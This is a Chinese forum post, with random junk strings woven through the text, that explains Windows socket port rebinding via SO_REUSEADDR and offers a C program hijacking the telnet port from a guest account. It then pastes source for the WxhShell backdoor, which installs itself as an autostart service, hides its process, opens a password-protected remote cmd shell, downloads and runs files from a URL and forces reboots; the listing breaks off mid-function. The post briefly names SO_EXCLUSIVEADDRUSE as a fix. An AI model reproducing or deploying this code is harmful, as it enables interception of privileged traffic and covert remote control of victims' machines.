-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0)gdB'9V_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |p ,P46I W)bLSL]`E saddr.sin_family = AF_INET; #{;k{~;PF {tWf saddr.sin_addr.s_addr = htonl(INADDR_ANY); -qGa]a > ;*b|Ik bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J\b^) o4Om}]Ti 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z:wutqru Qnsi`1mASr 这意味着什么?意味着可以进行如下的攻击: ,>%}B3O:Y= #"G]ke1l$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jW A(C;W GB=X5<; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p;>ec:z3M xA$XT[D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "]}
bFO7C
;{N!Eb`S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 {ttysQ- SHfy".A6.0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7fZDsj: ``hf=`We 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |Y,b?*UF asppRL|| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hx?;fl'G% pOIJH =# #include g,!L$,/F #include p$]3'jw #include V2wb%;q #include Po^?QVJ7 DWORD WINAPI ClientThread(LPVOID lpParam); QTk}h_<u int main() V Y7[) { VA#"r!1 WORD wVersionRequested; UM"- nZ>[ DWORD ret; i9,geQ7d WSADATA wsaData; nksLWfpG?B BOOL val; '-Vt|O_Q SOCKADDR_IN saddr; <h0?tv] SOCKADDR_IN scaddr; t.i 8
2Q int err; 8p 'L#Q. SOCKET s; ;U+3w~ SOCKET sc; r@H /kD int caddsize; n FHUy9q HANDLE mt; P@V0Mi), DWORD tid; 3YOq2pW72G wVersionRequested = MAKEWORD( 2, 2 ); &5B'nk" err = WSAStartup( wVersionRequested, &wsaData ); Kqb#_hm if ( err != 0 ) { KQ% GIz x printf("error!WSAStartup failed!\n"); u}macKJmp\ return -1; 3M[!N } E Nhl&J saddr.sin_family = AF_INET; vc;$-v$& @=}0`bE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rr],DGg+B] `EA\u]PwQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wDal5GJp saddr.sin_port = htons(23); P~ >OS5^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HdUQCugxx: { |6sp/38#p printf("error!socket failed!\n"); ]8_NZHld return -1; Q4#m\KK;i9 } ;u_X) val = TRUE; M=@:ZQ^! //SO_REUSEADDR选项就是可以实现端口重绑定的 K7_UP&`=J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )-I {^( { &
p printf("error!setsockopt failed!\n"); NvceYKp: return -1; /=nJRC3. } vxBgGl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [.7d<oY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~D j8z+^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [Gb.
JO}X cJ=6r
: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cKca;SNql1 { %D{6[8 ret=GetLastError(); *SJ_z(CZm printf("error!bind failed!\n"); BO?%'\ return -1; gV's=cQ } =7=]{Cx[ listen(s,2); ,wb:dj- while(1) nfbR
P t { )hsgC'H{~] caddsize = sizeof(scaddr); L\J;J%fz. //接受连接请求 2~)`N>@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PJ|P1O36a if(sc!=INVALID_SOCKET) gh]cXuph { BA:VPTZq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mk 6(UXY if(mt==NULL) z\W64^'"Z { UcHJR"M~c printf("Thread Creat Failed!\n"); 76{G'}B break; -$ls(oot } ^}=,g } >y7?-*0 CloseHandle(mt); Ty?cC** } Rh{f5- closesocket(s); L,/%f<wd WSACleanup(); 7&)bJ@1U return 0; Rr]Hy^w } m+[Ux{$ DWORD WINAPI ClientThread(LPVOID lpParam) zR:L!S { A}9`S6 @@ SOCKET ss = (SOCKET)lpParam; =j]<t SOCKET sc; }o(-=lF unsigned char buf[4096]; $qnZl'O> SOCKADDR_IN saddr; *w\W/ Y long num; `*R:gE= DWORD val; ! n@KU!&k DWORD ret; BX7kO0j //如果是隐藏端口应用的话,可以在此处加一些判断 kbQ>a5`,x //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 zTSTEOP}%Y saddr.sin_family = AF_INET; *])
`z8Ox saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 904}Jh, saddr.sin_port = htons(23); 2HA:"v8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wlqksG[B { m<Dy<((_I printf("error!socket failed!\n"); "<1{9 return -1; yR{3!{r3( } :crW9+ val = 100; qo bc<- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l'_r:b { (hbyEQhF ret = GetLastError(); JPw.8|V)y return -1; _]H&,</ } YU'E@t5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n Dxz~8 { hHnYtq ret = GetLastError(); BW4J> { return -1; x'<X!gw } NZ0;5xGR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n/:33DAB { W^l-Y%a/o printf("error!socket connect failed!\n"); Qp3_f8 closesocket(sc); `d}2O%P closesocket(ss); jQB9j return -1; x s|FE3:a } s.C_Zf~3 while(1) 4|DWOQ': { M .mfw#* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [7Oe3= //如果是嗅探内容的话,可以再此处进行内容分析和记录 s2'h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zK@@p+n_#. num = recv(ss,buf,4096,0); 4|?;TE5 if(num>0) jNk%OrP] send(sc,buf,num,0); MQ6KN(?\ZL else if(num==0) pW3^X=6 break; $xN|5;+ num = recv(sc,buf,4096,0); t b}V5VH if(num>0) C~/a- send(ss,buf,num,0); /7YIn3 else if(num==0) $=4QO break; DB,J3bm }
ew4U)2J+ closesocket(ss); 5=ryDrx closesocket(sc); c\j/k[\< return 0 ; oUlVI*~ND } |yPu!pfl Nj/
x. X nU7[c| = ========================================================== w``U=sfmV A.w.rVDD 下边附上一个代码,,WXhSHELL k!Y, 63V= )9]P MA?u ========================================================== Xsa]. Ig{0Z"> #include "stdafx.h" Jln:`!#fDf }Zp,+U*" #include <stdio.h> La[V$+Y #include <string.h> K{+2G&i #include <windows.h> < =IFcN #include <winsock2.h> wUJcmM; #include <winsvc.h> p5*EA
x #include <urlmon.h> a d\ot#V 2GG2jky{/ #pragma comment (lib, "Ws2_32.lib") ,PDQzJY #pragma comment (lib, "urlmon.lib") 2&cT~ZX&' o)/ 0a #define MAX_USER 100 // 最大客户端连接数 qf-8<{T #define BUF_SOCK 200 // sock buffer <F'\lA9 #define KEY_BUFF 255 // 输入 buffer 'V>-QD%1 gjlx~.0d #define REBOOT 0 // 重启 /yZcDK4 #define SHUTDOWN 1 // 关机
Q+{n-? : Q/Rqa5LI: #define DEF_PORT 5000 // 监听端口 #w=~lq)9 Q,Eo mt #define REG_LEN 16 // 注册表键长度 uQzXfOq #define SVC_LEN 80 // NT服务名长度 (cO:`W6. DHRlWQox // 从dll定义API noj0F::m`j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nJ;.Td typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^B^9KEjTz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F"mmLao typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vP,n(reM -'Mf\h8 // wxhshell配置信息 "J1
4C9u
struct WSCFG { B)UZ`?>c int ws_port; // 监听端口 GLODVcjf char ws_passstr[REG_LEN]; // 口令 fN2lLn9/u int ws_autoins; // 安装标记, 1=yes 0=no W*Y/l~x} char ws_regname[REG_LEN]; // 注册表键名 wuo,kM char ws_svcname[REG_LEN]; // 服务名 ;AG()NjOO: char ws_svcdisp[SVC_LEN]; // 服务显示名 B-mowmJ3dg char ws_svcdesc[SVC_LEN]; // 服务描述信息 +w~oH = char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %
AgUUn&k int ws_downexe; // 下载执行标记, 1=yes 0=no |vC~HJpuv' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" rmOj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;F Eqe49 moE2G?R }; ptaKf4P^r VtohL+ // default Wxhshell configuration 6dYMwMH struct WSCFG wscfg={DEF_PORT, jiC>d@~y "xuhuanlingzhe", H"F29Pu2 1, (V@HR9?W) "Wxhshell", 'hf8ZEW9' "Wxhshell", y_[vr:s5pG "WxhShell Service", o !7va" "Wrsky Windows CmdShell Service", yh=N@Z*zP "Please Input Your Password: ", @j/&m]6%-D 1, LH6vLuf " http://www.wrsky.com/wxhshell.exe", t$ *0{w
E "Wxhshell.exe" >R=|Wo`Ri }; T]$U"" S,=|AD // 消息定义模块 :v 4]D4\o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zBH2@d3W char *msg_ws_prompt="\n\r? for help\n\r#>"; #LCb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wyG;8I char *msg_ws_ext="\n\rExit."; ,+ ~W4<f char *msg_ws_end="\n\rQuit."; :hA#m[ char *msg_ws_boot="\n\rReboot..."; 3uMy]HUQ char *msg_ws_poff="\n\rShutdown..."; Y\tui+?J char *msg_ws_down="\n\rSave to "; BerwI
7!= D`AsRd char *msg_ws_err="\n\rErr!"; L0]_X#s># char *msg_ws_ok="\n\rOK!"; C7?/%7{ azU"G(6y?+ char ExeFile[MAX_PATH]; ?fS9J int nUser = 0; =w^M{W.w HANDLE handles[MAX_USER]; QCJM& int OsIsNt; C*lJrFpB ?1".;foZ SERVICE_STATUS serviceStatus; L=h'Qgk% SERVICE_STATUS_HANDLE hServiceStatusHandle; -^wl>}#*T3 r_.S>] // 函数声明 C.QO#b int Install(void); B\n[.(].r int Uninstall(void); "ITIhnE int DownloadFile(char *sURL, SOCKET wsh); P>6{&( int Boot(int flag); 4/)k)gLI void HideProc(void); tI{_y int GetOsVer(void); {^\r`Vp int Wxhshell(SOCKET wsl); /Q )\ + void TalkWithClient(void *cs); Np)lIGE int CmdShell(SOCKET sock); (9h`3# int StartFromService(void); BPHW}F]X int StartWxhshell(LPSTR lpCmdLine); P
}uOJVQ_ rN{ c7/| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U%<Inb}ad VOID WINAPI NTServiceHandler( DWORD fdwControl ); [8*)8jP3 W'.m'3#z // 数据结构和表定义 M@ZI\ SERVICE_TABLE_ENTRY DispatchTable[] = #89!'W { ]9,;K;1< {wscfg.ws_svcname, NTServiceMain}, hpJ-r {NULL, NULL} &"q=5e2 }; ]+$?u&0?w M#[{>6>iE // 自我安装 .}*"Nv int Install(void) bYPK h { 2:= char svExeFile[MAX_PATH]; 3yXY.>' HKEY key; <Ok3FE.K strcpy(svExeFile,ExeFile); s|ITsz0,td xP,hTE // 如果是win9x系统,修改注册表设为自启动 zv"Z DRW if(!OsIsNt) { ?R#)1{(8d~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { as_PoCoss RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -PQv ?5 RegCloseKey(key); V2G6Kw9gt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !?gKqx'T$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z$xo$R( RegCloseKey(key); IaXeRq?< return 0; OBAi2Vw } NN`uI6= } K96<M);:g } veh<R]U else { ?I@W:#>o IN G@B#Cl // 如果是NT以上系统,安装为系统服务 m%e68c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DDH:)=;z if (schSCManager!=0) W#sU`T
{ &JI8]JmU) SC_HANDLE schService = CreateService E\,-XH ( [zM-^ schSCManager, $p?aVO wscfg.ws_svcname, 680o)hh4m> wscfg.ws_svcdisp, H'hpEwG SERVICE_ALL_ACCESS,
(ICd} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I(0~n,=j SERVICE_AUTO_START, u-5{U-^_ SERVICE_ERROR_NORMAL, Q)[C?obd v svExeFile, NTI+ NULL, & 9 ?\b7 NULL, 3;s\OW` NULL, t1y4 7fX6 NULL, q#=(e:aCb NULL *ppffz ); Tyf`j,= if (schService!=0) %F4%H|G { 'u b@]ru| CloseServiceHandle(schService); MFAH%Z$ CloseServiceHandle(schSCManager); ;VO:ph4Aj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?m?::R H strcat(svExeFile,wscfg.ws_svcname); DZPPJ2 } if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )f<z%:I+Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8q}q{8 RegCloseKey(key); wx0j(:B] return 0; ?oHpFlj } ` v@m-j6 } [e}]}t8m CloseServiceHandle(schSCManager); @7j AL - } K}MK<2vU } h|{]B,.Lh JHTSUq return 1; Q| ?L*Pq2I } l3I:Q^x@
=.]4;z // 自我卸载 XLOh7(
int Uninstall(void) 'Xq|Kf ( { X))/ m[_[ HKEY key; iVq'r4S ^N{h3b8 if(!OsIsNt) { 0*D$R`$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !_'ur>iR RegDeleteValue(key,wscfg.ws_regname); T&u5ki4NE RegCloseKey(key); "8jf81V* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CSq4x5!_7> RegDeleteValue(key,wscfg.ws_regname); O so#+ RegCloseKey(key); G.a b ql return 0; XXcl{1Kp!@ } Ata:^qI } 8_B4?` k } *Y7u'v else { 9u}Hmb X296tA>C` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3/e.38m| if (schSCManager!=0) V/
uP%'cd { vJc- 6EO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PB`Y
g if (schService!=0) F]]]y5t { n QZwC
if(DeleteService(schService)!=0) { }1i`6`y1 CloseServiceHandle(schService); 1.{z3_S21: CloseServiceHandle(schSCManager); ][h%UrV return 0; Yz"#^j}Kg } /saIs%(fU CloseServiceHandle(schService); f:|1_ j } s6v; CloseServiceHandle(schSCManager); j2.|ln"! } 6@ IXqKz } +tIF
h' A _
N;
return 1; C>j@,G4 } yyRiP|hJ >#~& -3 // 从指定url下载文件 Yi+wC}
int DownloadFile(char *sURL, SOCKET wsh) (\hx` Yh=> { #crQ1p) \ HRESULT hr; =9["+;\e& char seps[]= "/"; xH(lm2kvT char *token; Tx=-Bb~; char *file; #Z`q+@@]A char myURL[MAX_PATH]; %x{kc3PnO char myFILE[MAX_PATH]; 7>Ouqxh21 A8fOQ strcpy(myURL,sURL); aa?b`[Xa token=strtok(myURL,seps); x?p1
HUK while(token!=NULL) K>r,(zgVc { ]J} file=token; 7BjJhs token=strtok(NULL,seps); EQyC1j } { MSkHf= 4Lh!8g=/ GetCurrentDirectory(MAX_PATH,myFILE); !N7s dY strcat(myFILE, "\\"); K{cD+=]{ strcat(myFILE, file); ]kG"ubHV?h send(wsh,myFILE,strlen(myFILE),0); c~$)UND^ send(wsh,"...",3,0); lL3khJ:% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S)k*?dQ##R if(hr==S_OK) {M$1N5Eh return 0; " 4K(jXq| else nntuLuW return 1; iNz=e=+Si tl4V7!U@^z } m
)zUU 1k5Who@ // 系统电源模块 FLCexlv^ int Boot(int flag) 2d(e:rh] { [b<oDX# HANDLE hToken; VT%NO'0 TOKEN_PRIVILEGES tkp; Ic:(Gi- % +L|?~p`V if(OsIsNt) {
0hNA1Fh{U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fue(UMF~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^qvbqfh tkp.PrivilegeCount = 1; #$+*; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -M~:lK]n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H8^(GUhyp if(flag==REBOOT) { |y#
Jx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v
~?qz5:K~ return 0; ;Ax
}KN7 } vq0Tk
bzs else { ks qQM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p* (JjH return 0; '8.r-`l( } )?naN } 4qbBc1,7y else { ]G=L=D^cK if(flag==REBOOT) { <QAFL uey if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7P5)Z-K[ return 0; S_4?K)n # } cJ
n= else { UiP"Ixg6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4Zddw0|2 return 0; sA/D]W.P } wn, KY$/ } Jr!JHC9i c(m<h+2VL return 1; $q{!5-e } f=Gg9bnm3 rjAn@!|:+ // win9x进程隐藏模块 l
-m fFN void HideProc(void) \gGW8Q; { 9Cp-qA%t nFe<w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?V.cOR`6 if ( hKernel != NULL ) ]t,BMu=% { HTS0s\R$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P [ck84F/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hJ? O],4J FreeLibrary(hKernel); glxsa8 } "ycJ:Xv49 6=/F$| return; nYSiS}?S. } su(1<S} \fdv]f // 获取操作系统版本 $dC?Tl|B0 int GetOsVer(void) fu ,}1Mq# { 1{.|+S Z! OSVERSIONINFO winfo; ^|>PA:% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k FD;i GetVersionEx(&winfo); uym*a4J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H;LViP2K* return 1; At>DjKx]O else S Lj!v&' return 0; j0aXyLNX } XFpjYwn 9>/4W. // 客户端句柄模块 !hy-L_wL] int Wxhshell(SOCKET wsl) {duz\k2 { ,PW'#U: SOCKET wsh; uyWunpT struct sockaddr_in client; =BAr .m+" DWORD myID; KYI/ *n
]GsOOn while(nUser<MAX_USER) P4'Q/Sj { &`r-.&Y int nSize=sizeof(client); ,^< R{{{-A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZJJY8k ` if(wsh==INVALID_SOCKET) return 1; 1(R}tRR7 R _6hQ %hv8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G~[x
3L' if(handles[nUser]==0) |aS.a&vwR closesocket(wsh); RSRS wkC else
ltSU fI nUser++; JFmC\ } o5PO=AN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X`K<>0.N :eCwY return 0; ec;o\erPG } ~,Ix0h+H+M ^uc=f2=>, // 关闭 socket |>^JRx void CloseIt(SOCKET wsh) %aCqi(.7 { G~a ZJ, closesocket(wsh); _4~+{l+ nUser--; RbnVL$c ExitThread(0); ; DR$iH-F } &r/Mi% g:@#@1rB6 // 客户端请求句柄 FD
#8mg void TalkWithClient(void *cs) %wy.TN { 9$w.9`Py C{rcs' SOCKET wsh=(SOCKET)cs; 1CZgb char pwd[SVC_LEN]; 9cF[seE"0 char cmd[KEY_BUFF]; @Nx9) char chr[1]; cuITY^6 int i,j; /,yd+wcW# Btn?N while (nUser < MAX_USER) { + &Eqk +O{*M9B if(wscfg.ws_passstr) { LEdh!</'24 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yj49t_$b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ld~/u]K%V //ZeroMemory(pwd,KEY_BUFF); {!L~@r i=0; Q)h(nbbVak while(i<SVC_LEN) { #;yZ !F$6-0% // 设置超时 n 7[V&`e_ fd_set FdRead; ZY+qA struct timeval TimeOut; +r2-S~f3N FD_ZERO(&FdRead); q0vQa FD_SET(wsh,&FdRead); NXrlk TimeOut.tv_sec=8; chX"O0?" TimeOut.tv_usec=0; #X1ND int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m-, x<bM? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WOap+ onzxx4bax if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VTE .^EK! pwd =chr[0]; ~c `l@: if(chr[0]==0xd || chr[0]==0xa) { sO@Tf\d pwd=0; Q;rX;p^W break; O\r0bUPE } ^1.By^
$ i++; 5\nAeP } b\2
ds, 9yP;@y*d // 如果是非法用户,关闭 socket b>ySv if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L!xi } 9%9#_?RW gPPkT" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zO6oT1I send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]/L0,^RI 3Y$GsN4ln while(1) { D0f] $ WpvhTX ZeroMemory(cmd,KEY_BUFF); ]Y&VT7+Z &oMh]Z*: // 自动支持客户端 telnet标准 f/?P514h j=0; f!X[c?Xy" while(j<KEY_BUFF) { $I?"lky if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $XH^~i; cmd[j]=chr[0]; /)O"l @ }U if(chr[0]==0xa || chr[0]==0xd) { ]`WJOx4 cmd[j]=0; p]c%f2E>d break; #RLt^$!H } N;%6:I./ j++; -KbYOb } GM<9p_
B 8&dF // 下载文件 ?a]mDx>xh if(strstr(cmd,"http://")) { owv[M6lbD send(wsh,msg_ws_down,strlen(msg_ws_down),0); F!K>K z if(DownloadFile(cmd,wsh)) K3uRs{l| send(wsh,msg_ws_err,strlen(msg_ws_err),0); a 1*p*dM# else 6Kz,{F@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tZo} ;|~' } \|[;Z"4l else { GC'O[q+ Y_P!B^z3 switch(cmd[0]) { _@/8gPT*i Flb&B1 // 帮助 f*8DCh!r" case '?': { -UT}/:a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e+K^Aq break; &%Tj/ Qx } Etm?' // 安装 ,2ar7
5Va case 'i': { poFg1 if(Install()) }(u
ol send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X"@<l4F else x,V r=FB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8dhUBJ0_ break; ;A[Q2(w+ } QmIBaMI# // 卸载 0m ? )ROaJ case 'r': { :M5l*sIO2 if(Uninstall()) T[j,UkgGo send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5kXYeP3: else D1;QC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ikOb8 G# break; jZ;
=so } A5w6]: f2 // 显示 wxhshell 所在路径 PUX;I0Cf case 'p': { Na Cy@ char svExeFile[MAX_PATH]; 4X|zmr:A strcpy(svExeFile,"\n\r"); nFs(?Rv* strcat(svExeFile,ExeFile); uW3!Yg@ send(wsh,svExeFile,strlen(svExeFile),0); ete.!*= break; L8 @1THY } )\^-2[; // 重启 ^Zp>G{QL{ case 'b': { *uvQ\. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {1
94!S4z if(Boot(REBOOT)) 7=, ; h send(wsh,msg_ws_err,strlen(msg_ws_err),0); 29q _BR *: else { 1ZRT:N<- closesocket(wsh); sn>~O4" ExitThread(0); 6S\8$ } b<u3 hln%, break; RCLeA=/N@0 } q"_QQ~ // 关机 \5cpFj5% case 'd': { GowH]MO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vVcob}ZH if(Boot(SHUTDOWN)) H 7
^/q7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&^&K} else { &G$Ucc
` closesocket(wsh); sUm' ExitThread(0); 1g~R/*Jo } XBw)H break; :p6M= } G9@0@2aY8 // 获取shell o,3a4nH; case 's': { sFTy(A/ CmdShell(wsh); eKqk= ( closesocket(wsh); qb` \)X]9 ExitThread(0); y L~W.H break; gbagi+8s`% } b\+`e b8_ // 退出 Q.c\/& case 'x': { P}`H ~N~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
1ZB"EQ CloseIt(wsh); S`m]f5u| break; !_Z&a } W'u># // 离开 01(AK% e case 'q': { xFg>SJ7] send(wsh,msg_ws_end,strlen(msg_ws_end),0); iMRwp+$ closesocket(wsh); 26x[X.C: WSACleanup(); Nu~lsWyRI5 exit(1); U\!X,a*ts{ break; TrR8?- } 57'4ljvYi } 2gVm9gAHUd } yyy|Pw4:Z )TM4R)r%)9 // 提示信息 B@
KQ]4- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DrK{}uM } 'a.qu9PJ } }|5Pr(I _``=cc return; "i W"NFO } F`]2O:[ xWQ`tWA:J // shell模块句柄 /fV;^=:8c int CmdShell(SOCKET sock) 0h7r&t%YsV { )p%E%6p STARTUPINFO si; Q#[9|A9 ZeroMemory(&si,sizeof(si)); WVvvI9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k~
/Nv=D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >`ZyG5 PROCESS_INFORMATION ProcessInfo; sZF6h=67D char cmdline[]="cmd"; A1zjPG&] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *<ewS8f*6 return 0; 0v$~90) } x0:m-C #$qTFN // 自身启动模式 N^:9Fz int StartFromService(void) #|PS&}6wU { wz ~d(a# typedef struct m$T-s|SY { }Y36C.@H DWORD ExitStatus; yd`mG{Z DWORD PebBaseAddress;
